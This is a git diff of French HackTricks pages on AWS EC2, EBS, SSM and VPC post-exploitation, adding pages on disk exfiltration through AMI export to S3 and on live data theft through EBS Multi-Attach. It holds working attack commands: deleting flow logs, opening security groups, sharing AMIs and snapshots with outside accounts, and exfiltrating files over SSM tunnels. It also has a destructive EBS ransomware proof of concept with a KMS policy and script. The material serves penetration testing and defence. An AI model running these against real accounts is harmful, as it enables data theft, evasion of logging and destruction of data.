`ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -Le mirroring de trafic VPC **duplique le trafic entrant et sortant des instances EC2 au sein d'un VPC** sans avoir besoin d'installer quoi que ce soit sur les instances elles-mêmes. Ce trafic dupliqué serait généralement envoyé à quelque chose comme un système de détection d'intrusion réseau (IDS) pour analyse et surveillance.\ -Un attaquant pourrait en abuser pour capturer tout le trafic et obtenir des informations sensibles à partir de celui-ci : +VPC traffic mirroring **duplique le trafic entrant et sortant pour les EC2 instances au sein d'un VPC** sans nécessiter l'installation de quoi que ce soit sur les instances elles‑mêmes. Ce trafic dupliqué est généralement envoyé vers un système de détection d'intrusion réseau (IDS) pour analyse et surveillance.\ +Un attaquant pourrait en abuser pour capturer tout le trafic et en extraire des informations sensibles : Pour plus d'informations, consultez cette page : @@ -21,9 +21,9 @@ Pour plus d'informations, consultez cette page : aws-malicious-vpc-mirror.md {{#endref}} -### Copier une Instance en Cours d'Exécution +### Copy Running Instance -Les instances contiennent généralement une sorte d'informations sensibles. Il existe différentes façons d'y accéder (voir [trucs d'escalade de privilèges EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Cependant, une autre façon de vérifier ce qu'elle contient est de **créer une AMI et de lancer une nouvelle instance (même dans votre propre compte) à partir de celle-ci** : +Les instances contiennent généralement des informations sensibles. Il existe différentes façons d'y accéder (voir [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Cependant, une autre méthode pour vérifier ce qu'elles contiennent est de **créer une AMI et lancer une nouvelle instance (même dans votre propre compte) à partir de celle-ci** : ```shell # List instances aws ec2 describe-images @@ -49,97 +49,161 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Les instantanés sont des sauvegardes de volumes**, qui contiendront généralement **des informations sensibles**, donc les vérifier devrait révéler ces informations.\ -Si vous trouvez un **volume sans instantané**, vous pourriez : **Créer un instantané** et effectuer les actions suivantes ou simplement **le monter dans une instance** à l'intérieur du compte : +**Snapshots are backups of volumes**, qui contiennent généralement **des informations sensibles**, donc les vérifier devrait révéler ces informations.\ +Si vous trouvez un **volume without a snapshot** vous pouvez : **Create a snapshot** et effectuer les actions suivantes ou simplement **mount it in an instance** inside the account : {{#ref}} aws-ebs-snapshot-dump.md {{#endref}} +### Covert Disk Exfiltration via AMI Store-to-S3 + +Exporter un EC2 AMI directement vers S3 en utilisant `CreateStoreImageTask` pour obtenir une image disque brute sans partage de snapshot. Cela permet une analyse forensique complète hors ligne ou le vol de données tout en laissant le réseau de l'instance intact. + +{{#ref}} +aws-ami-store-s3-exfiltration.md +{{#endref}} + +### Live Data Theft via EBS Multi-Attach + +Attacher un volume io1/io2 Multi-Attach à une seconde instance et le monter en lecture seule pour siphonner des données en direct sans snapshots. Utile lorsque le volume victime a déjà Multi-Attach activé dans la même AZ. + +{{#ref}} +aws-ebs-multi-attach-data-theft.md +{{#endref}} + +### EC2 Instance Connect Endpoint Backdoor + +Créer un EC2 Instance Connect Endpoint, autoriser l'ingress et injecter des clés SSH éphémères pour accéder aux instances privées via un tunnel géré. Offre des voies rapides de mouvement latéral sans ouvrir de ports publics. + +{{#ref}} +aws-ec2-instance-connect-endpoint-backdoor.md +{{#endref}} + +### EC2 ENI Secondary Private IP Hijack + +Transférer l'IP privée secondaire d'une ENI victime vers une ENI contrôlée par l'attaquant pour usurper des hôtes de confiance allowlisted par IP. Permet de contourner des ACLs internes ou des règles de SG associées à des adresses spécifiques. + +{{#ref}} +aws-eni-secondary-ip-hijack.md +{{#endref}} + +### Elastic IP Hijack for Ingress/Egress Impersonation + +Réassocier un Elastic IP de l'instance victime à l'attaquant pour intercepter le trafic entrant ou initier des connexions sortantes qui semblent provenir d'IP publiques de confiance. + +{{#ref}} +aws-eip-hijack-impersonation.md +{{#endref}} + +### Security Group Backdoor via Managed Prefix Lists + +Si une règle de Security Group référence une customer-managed prefix list, ajouter des CIDR de l'attaquant à la liste étend silencieusement l'accès à toutes les règles SG dépendantes sans modifier le SG lui-même. + +{{#ref}} +aws-managed-prefix-list-backdoor.md +{{#endref}} + +### VPC Endpoint Egress Bypass + +Créer des gateway ou interface VPC endpoints pour retrouver l'accès sortant depuis des subnets isolés. Exploiter des AWS-managed private links contourne l'absence d'IGW/NAT pour l'exfiltration de données. + +{{#ref}} +aws-vpc-endpoint-egress-bypass.md +{{#endref}} + +### VPC Flow Logs Cross-Account Exfiltration + +Diriger les VPC Flow Logs vers un bucket S3 contrôlé par l'attaquant pour collecter en continu des métadonnées réseau (source/destination, ports) en dehors du compte victime pour une reconnaissance à long terme. + +{{#ref}} +aws-vpc-flow-logs-cross-account-exfiltration.md +{{#endref}} + ### Data Exfiltration #### DNS Exfiltration -Même si vous verrouillez un EC2 pour qu'aucun trafic ne puisse sortir, il peut toujours **exfiltrer via DNS**. +Même si vous verrouillez une EC2 pour empêcher tout trafic sortant, elle peut toujours **exfil via DNS**. -- **Les journaux de flux VPC ne l'enregistreront pas**. -- Vous n'avez pas accès aux journaux DNS d'AWS. -- Désactivez cela en définissant "enableDnsSupport" sur false avec : +- **VPC Flow Logs ne l'enregistreront pas**. +- Vous n'avez pas accès aux AWS DNS logs. +- Désactivez ceci en définissant "enableDnsSupport" à false avec: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -Un attaquant pourrait appeler des points de terminaison API d'un compte qu'il contrôle. Cloudtrail enregistrera ces appels et l'attaquant pourra voir les données exfiltrées dans les journaux Cloudtrail. +Un attaquant peut appeler des endpoints API d'un compte qu'il contrôle. Cloudtrail enregistrera ces appels et l'attaquant pourra voir les données exfiltrées dans les logs Cloudtrail. ### Open Security Group -Vous pourriez obtenir un accès supplémentaire aux services réseau en ouvrant des ports comme ceci : +Vous pourriez obtenir un accès supplémentaire aux services réseau en ouvrant des ports comme ceci: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -Il est possible de faire fonctionner une instance EC2 et de l'enregistrer pour être utilisée pour exécuter des instances ECS, puis de voler les données des instances ECS. +Il est possible d'exécuter une instance EC2 et de l'enregistrer pour qu'elle soit utilisée pour exécuter des instances ECS, puis de voler les données des instances ECS. -Pour [**plus d'informations, consultez ceci**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +Pour [**plus d'informations, consultez ceci**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### Remove VPC flow logs +### Supprimer les VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` -### SSM Port Forwarding +### SSM : redirection de ports Permissions requises : - `ssm:StartSession` -En plus de l'exécution de commandes, SSM permet le tunneling de trafic qui peut être abusé pour pivoter à partir d'instances EC2 qui n'ont pas d'accès réseau en raison des groupes de sécurité ou des NACL. -Un des scénarios où cela est utile est le pivotement d'un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) vers un cluster EKS privé. +En plus de l'exécution de commandes, SSM permet d'établir des tunnels de trafic qui peuvent être abusés pour pivoter depuis des instances EC2 qui n'ont pas d'accès réseau à cause des Security Groups ou des NACLs. +L'un des scénarios où cela est utile est de pivoter depuis un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) vers un cluster EKS privé. -> Pour commencer une session, vous devez avoir le SessionManagerPlugin installé : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +> Pour démarrer une session, vous devez avoir installé le SessionManagerPlugin : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. Installez le SessionManagerPlugin sur votre machine -2. Connectez-vous à l'EC2 Bastion en utilisant la commande suivante : +2. Connectez-vous au Bastion EC2 en utilisant la commande suivante : ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Obtenez les identifiants temporaires Bastion EC2 AWS avec le script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) -4. Transférez les identifiants vers votre propre machine dans le fichier `$HOME/.aws/credentials` en tant que profil `[bastion-ec2]` -5. Connectez-vous à EKS en tant que Bastion EC2 : +3. Récupérez les identifiants temporaires AWS de la Bastion EC2 avec le script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) +4. Transférez les identifiants vers votre propre machine dans le fichier `$HOME/.aws/credentials` en tant que profil `[bastion-ec2]` +5. Connectez-vous à EKS en tant que Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Mettez à jour le champ `server` dans le fichier `$HOME/.kube/config` pour qu'il pointe vers `https://localhost` +6. Mettez à jour le champ `server` dans le fichier `$HOME/.kube/config` pour qu'il pointe vers `https://localhost` 7. Créez un tunnel SSM comme suit : ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. Le trafic de l'outil `kubectl` est maintenant acheminé à travers le tunnel SSM via le Bastion EC2 et vous pouvez accéder au cluster EKS privé depuis votre propre machine en exécutant : +8. Le trafic de l'outil `kubectl` est maintenant acheminé via le tunnel SSM passant par le Bastion EC2, et vous pouvez accéder au cluster EKS privé depuis votre propre machine en exécutant : ```shell kubectl get pods --insecure-skip-tls-verify ``` -Notez que les connexions SSL échoueront à moins que vous ne définissiez le `--insecure-skip-tls-verify` flag (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelé à travers le tunnel sécurisé AWS SSM, vous êtes à l'abri de tout type d'attaques MitM. +Notez que les connexions SSL échoueront à moins que vous ne définissiez le drapeau `--insecure-skip-tls-verify ` (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est acheminé via le tunnel sécurisé AWS SSM, vous êtes protégé contre tout type d'attaques MitM. -Enfin, cette technique n'est pas spécifique à l'attaque des clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers tout autre service AWS ou une application personnalisée. +Enfin, cette technique n'est pas spécifique à l'attaque de clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers n'importe quel autre service AWS ou une application personnalisée. --- -#### Transfert de Port Local ↔️ Distant Rapide (AWS-StartPortForwardingSession) +#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) -Si vous avez seulement besoin de transférer **un port TCP depuis l'instance EC2 vers votre hôte local**, vous pouvez utiliser le document SSM `AWS-StartPortForwardingSession` (aucun paramètre d'hôte distant requis) : +Si vous n'avez besoin que de forward **one TCP port from the EC2 instance to your local host** , vous pouvez utiliser le document SSM `AWS-StartPortForwardingSession` (aucun paramètre de remote host requis): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -La commande établit un tunnel bidirectionnel entre votre station de travail (`localPortNumber`) et le port sélectionné (`portNumber`) sur l'instance **sans ouvrir de règles de groupe de sécurité entrantes**. +La commande établit un tunnel bidirectionnel entre votre station de travail (`localPortNumber`) et le port sélectionné (`portNumber`) sur l'instance **sans ouvrir de règles inbound de Security-Group**. -Cas d'utilisation courants : +Common use cases: -* **Exfiltration de fichiers** +* **File exfiltration** 1. Sur l'instance, démarrez un serveur HTTP rapide qui pointe vers le répertoire que vous souhaitez exfiltrer : ```bash @@ -152,7 +216,7 @@ python3 -m http.server 8000 curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Accès aux applications web internes (par exemple, Nessus)** +* **Accéder aux applications web internes (e.g. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -160,28 +224,28 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Astuce : Compressez et cryptez les preuves avant de les exfiltrer afin que CloudTrail ne consigne pas le contenu en texte clair : +Astuce : compressez et chiffrez les preuves avant de les exfiltrer afin que CloudTrail n'enregistre pas le contenu en clair : ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' ``` -### Partager AMI +### Partager une AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` ### Rechercher des informations sensibles dans des AMIs publiques et privées -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour **rechercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir d'AMIs cibles, de montage de leurs volumes et de recherche de secrets ou de données sensibles potentielles. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour **rechercher des informations sensibles au sein d'Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir des AMIs ciblées, le montage de leurs volumes et l'analyse à la recherche de secrets potentiels ou de données sensibles. -### Partager un instantané EBS +### Partager EBS Snapshot ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC -Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes de post-exploitation S3. KMS devrait être renommé en RMS pour Ransomware Management Service en raison de la facilité d'utilisation pour chiffrer divers services AWS. +Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes S3 de post-exploitation. KMS devrait être renommé en RMS pour Ransomware Management Service, compte tenu de la facilité avec laquelle il permet de chiffrer divers services AWS. -Tout d'abord, depuis un compte AWS 'attaquant', créez une clé gérée par le client dans KMS. Pour cet exemple, nous allons simplement laisser AWS gérer les données de la clé pour moi, mais dans un scénario réaliste, un acteur malveillant conserverait les données de la clé en dehors du contrôle d'AWS. Modifiez la politique de clé pour permettre à tout Principal de compte AWS d'utiliser la clé. Pour cette politique de clé, le nom du compte était 'AttackSim' et la règle de politique permettant tout accès s'appelle 'Outside Encryption' +Tout d'abord, depuis un compte AWS 'attacker', créez une customer managed key dans KMS. Pour cet exemple, nous laisserons AWS gérer les données de clé pour nous, mais dans un scénario réaliste un acteur malveillant conserverait les données de clé en dehors du contrôle d'AWS. Modifiez la key policy pour autoriser n'importe quel AWS account Principal à utiliser la clé. Pour cette key policy, le nom du compte était 'AttackSim' et la règle de policy autorisant tout accès s'appelle 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -273,7 +337,7 @@ Tout d'abord, depuis un compte AWS 'attaquant', créez une clé gérée par le c ] } ``` -La règle de politique de clé nécessite les éléments suivants activés pour permettre son utilisation pour chiffrer un volume EBS : +La règle de la key policy doit avoir les permissions suivantes activées pour permettre son utilisation afin de chiffrer un volume EBS : - `kms:CreateGrant` - `kms:Decrypt` @@ -281,21 +345,21 @@ La règle de politique de clé nécessite les éléments suivants activés pour - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Maintenant avec la clé accessible publiquement à utiliser. Nous pouvons utiliser un compte 'victime' qui a quelques instances EC2 lancées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte 'victime' sont ce que nous ciblons pour le chiffrement, cette attaque est sous l'hypothèse d'une violation d'un compte AWS à privilèges élevés. +Maintenant, avec la clé publiquement accessible à utiliser. Nous pouvons utiliser un compte 'victim' qui a des instances EC2 lancées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte 'victim' sont ceux que nous ciblons pour le chiffrement ; cette attaque se déroule dans le cadre d'une compromission supposée d'un compte AWS à privilèges élevés. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Semblable à l'exemple de ransomware S3. Cette attaque créera des copies des volumes EBS attachés en utilisant des instantanés, utilisera la clé disponible publiquement du compte 'attaquant' pour chiffrer les nouveaux volumes EBS, puis détachera les volumes EBS originaux des instances EC2 et les supprimera, et enfin supprimera les instantanés utilisés pour créer les nouveaux volumes EBS chiffrés. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Similaire à l'exemple de ransomware S3. Cette attaque va créer des copies des volumes EBS attachés en utilisant des snapshots, utiliser la clé publiquement disponible du compte 'attacker' pour chiffrer les nouveaux volumes EBS, puis détacher les volumes EBS originaux des instances EC2 et les supprimer, et enfin supprimer les snapshots utilisés pour créer les nouveaux volumes EBS chiffrés. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -Cela laisse uniquement des volumes EBS chiffrés disponibles dans le compte. +Cela a pour résultat de n'avoir que des volumes EBS chiffrés disponibles dans le compte. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Il convient également de noter que le script a arrêté les instances EC2 pour détacher et supprimer les volumes EBS originaux. Les volumes non chiffrés d'origine sont maintenant disparus. +Il convient également de noter que le script a arrêté les instances EC2 pour pouvoir détacher et supprimer les volumes EBS originaux. Les volumes originaux non chiffrés ont maintenant disparu. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Ensuite, retournez à la politique de clé dans le compte 'attaquant' et supprimez la règle de politique 'Outside Encryption' de la politique de clé. +Ensuite, retournez à la key policy dans le compte 'attacker' et retirez la règle de policy 'Outside Encryption' de la key policy. ```json { "Version": "2012-10-17", @@ -366,15 +430,15 @@ Ensuite, retournez à la politique de clé dans le compte 'attaquant' et supprim ] } ``` -Attendez un moment que la nouvelle politique de clé se propage. Ensuite, retournez au compte 'victime' et essayez de joindre l'un des nouveaux volumes EBS chiffrés. Vous constaterez que vous pouvez attacher le volume. +Attendez un instant que la nouvelle key policy se propage. Ensuite, retournez dans le compte 'victim' et tentez d'attacher un des EBS volumes nouvellement chiffrés. Vous verrez que vous pouvez attacher le volume. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Mais lorsque vous essayez de redémarrer l'instance EC2 avec le volume EBS chiffré, cela échouera et passera de l'état 'en attente' à l'état 'arrêté' indéfiniment, car le volume EBS attaché ne peut pas être déchiffré avec la clé puisque la politique de clé ne le permet plus. +Mais lorsque vous tentez en fait de redémarrer l'instance EC2 avec le EBS volume chiffré, ça échoue et passe de l'état 'pending' à l'état 'stopped' indéfiniment, puisque le EBS volume attaché ne peut pas être déchiffré avec la key car la key policy ne le permet plus. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Voici le script python utilisé. Il prend les identifiants AWS pour un compte 'victime' et une valeur ARN AWS disponible publiquement pour la clé à utiliser pour le chiffrement. Le script fera des copies chiffrées de TOUS les volumes EBS disponibles attachés à TOUTES les instances EC2 dans le compte AWS ciblé, puis arrêtera chaque instance EC2, détachera les volumes EBS originaux, les supprimera, et enfin supprimera tous les instantanés utilisés pendant le processus. Cela laissera uniquement des volumes EBS chiffrés dans le compte 'victime' ciblé. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES VOLUMES EBS ORIGINAUX. Vous pouvez les récupérer en utilisant la clé KMS utilisée et les restaurer à leur état d'origine via des instantanés, mais je veux juste vous faire savoir que c'est une preuve de concept de ransomware à la fin de la journée. +Voici le script python utilisé. Il prend des AWS creds pour un compte 'victim' et une valeur ARN AWS publiquement accessible pour la key à utiliser pour le chiffrement. Le script va créer des copies chiffrées de TOUS les EBS volumes disponibles attachés à TOUTES les instances EC2 dans le compte AWS ciblé, puis arrêter chaque instance EC2, détacher les EBS volumes originaux, les supprimer, et enfin supprimer tous les snapshots utilisés pendant le processus. Cela ne laissera que des EBS volumes chiffrés dans le compte 'victim' ciblé. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES EBS VOLUMES ORIGINAUX. Vous pouvez les récupérer en utilisant la KMS key utilisée et les restaurer à leur état d'origine via des snapshots, mais je tiens à vous informer qu'il s'agit au final d'un ransomware PoC. ``` import boto3 import argparse @@ -493,6 +557,6 @@ main() ``` ## Références -- [Pentest Partners – Comment transférer des fichiers dans AWS en utilisant SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md new file mode 100644 index 000000000..0d41cc471 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md @@ -0,0 +1,137 @@ +# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask) + +{{#include ../../../../banners/hacktricks-training.md}} + +## Résumé +Abuse EC2 AMI export-to-S3 pour exfiltrer le disque complet d'une instance EC2 en tant qu'image raw unique stockée dans S3, puis la télécharger par un canal hors bande. Cela évite le partage de snapshots et produit un objet par AMI. + +## Prérequis +- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` sur l'instance/AMI cible +- S3 (même Région): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation` +- Capacité KMS de décryptage sur la clé qui protège les snapshots AMI (si le chiffrement par défaut EBS est activé) +- S3 bucket policy qui fait confiance au service principal `vmie.amazonaws.com` (voir ci-dessous) + +## Impact +- Acquisition complète hors ligne du disque racine de l'instance dans S3 sans partager les snapshots ni copier entre comptes. +- Permet une analyse forensique discrète des identifiants, de la configuration et du contenu du système de fichiers à partir de l'image raw exportée. + +## How to Exfiltrate via AMI Store-to-S3 + +- Remarques : +- Le bucket S3 doit être dans la même Région que l'AMI. +- Dans `us-east-1`, `create-bucket` NE doit PAS inclure `--create-bucket-configuration`. +- `--no-reboot` crée une image crash-consistent sans arrêter l'instance (plus discret mais moins cohérent). + +
+Commandes étape par étape +```bash +# Vars +REGION=us-east-1 +INSTANCE_ID= +BUCKET=exfil-ami-$(date +%s)-$RANDOM + +# 1) Create S3 bucket (same Region) +if [ "$REGION" = "us-east-1" ]; then +aws s3api create-bucket --bucket "$BUCKET" --region "$REGION" +else +aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION" +fi + +# 2) (Recommended) Bucket policy to allow VMIE service to write the object +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +cat > /tmp/bucket-policy.json < + +## Exemple de preuve + +- `describe-store-image-tasks` transitions: +```text +InProgress +Completed +``` +- S3 métadonnées d'objet (exemple): +```json +{ +"AcceptRanges": "bytes", +"LastModified": "2025-10-08T01:31:46+00:00", +"ContentLength": 399768709, +"ETag": "\"c84d216455b3625866a58edf294168fd-24\"", +"ContentType": "application/octet-stream", +"ServerSideEncryption": "AES256", +"Metadata": { +"ami-name": "exfil-1759887010", +"ami-owner-account": "", +"ami-store-date": "2025-10-08T01:31:45Z" +} +} +``` +- Téléchargement partiel prouve l'accès à l'objet: +```bash +ls -l /tmp/ami.bin +# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin +``` +## Autorisations IAM requises + +- EC2 : `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks` +- S3 (sur le bucket d'export) : `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation` +- KMS : Si les snapshots AMI sont chiffrés, autoriser decrypt pour la EBS KMS key utilisée par les snapshots + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md new file mode 100644 index 000000000..7e76e702f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md @@ -0,0 +1,77 @@ +# AWS - Live Data Theft via EBS Multi-Attach + +{{#include ../../../../banners/hacktricks-training.md}} + +## Résumé +Abuse EBS Multi-Attach pour lire un volume de données io1/io2 en cours d'utilisation en attachant ce même volume à une instance contrôlée par l'attaquant dans la même Availability Zone (AZ). Monter le volume partagé en lecture seule permet d'accéder immédiatement aux fichiers en cours d'utilisation sans créer de snapshots. + +## Prérequis +- Volume cible : io1 ou io2 créé avec `--multi-attach-enabled` dans la même AZ que l'instance de l'attaquant. +- Permissions : `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` sur le volume/les instances ciblés. +- Infrastructure : types d'instances basés sur Nitro qui supportent Multi-Attach (familles C5/M5/R5, etc.). + +## Remarques +- Monter en lecture seule avec `-o ro,noload` pour réduire le risque de corruption et éviter les replays du journal. +- Sur les instances Nitro, le périphérique EBS NVMe expose un chemin stable `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` (aide ci-dessous). + +## Préparer un volume io2 Multi-Attach et l'attacher à la victime + +Exemple (créer dans `us-east-1a` et attacher à la victime) : +```bash +AZ=us-east-1a +# Create io2 volume with Multi-Attach enabled +VOL_ID=$(aws ec2 create-volume \ +--size 10 \ +--volume-type io2 \ +--iops 1000 \ +--availability-zone $AZ \ +--multi-attach-enabled \ +--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \ +--query 'VolumeId' --output text) + +# Attach to victim instance +aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf +``` +Sur la victime, formatez/montez le nouveau volume et écrivez des données sensibles (à titre d'illustration) : +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}" +sudo mkfs.ext4 -F "$DEV" +sudo mkdir -p /mnt/shared +sudo mount "$DEV" /mnt/shared +echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt +sudo sync +``` +## Attacher le même volume à l'instance de l'attaquant +```bash +aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf +``` +## Mount read-only sur l'attacker et lire les données +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}" +sudo mkdir -p /mnt/steal +sudo mount -o ro,noload "$DEV" /mnt/steal +sudo cat /mnt/steal/secret.txt +``` +Résultat attendu : Le même `VOL_ID` affiche plusieurs `Attachments` (victim and attacker) et the attacker peut lire les fichiers écrits par the victim sans créer de snapshot. +```bash +aws ec2 describe-volumes --volume-ids $VOL_ID \ +--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}' +``` +
+Aide : trouver le chemin du périphérique NVMe par Volume ID + +Sur les instances Nitro, utilisez le chemin by-id stable qui intègre le Volume ID (supprimez le tiret après `vol`): +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +ls -l /dev/disk/by-id/ | grep "$VOLNOHYP" +# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX... +``` +
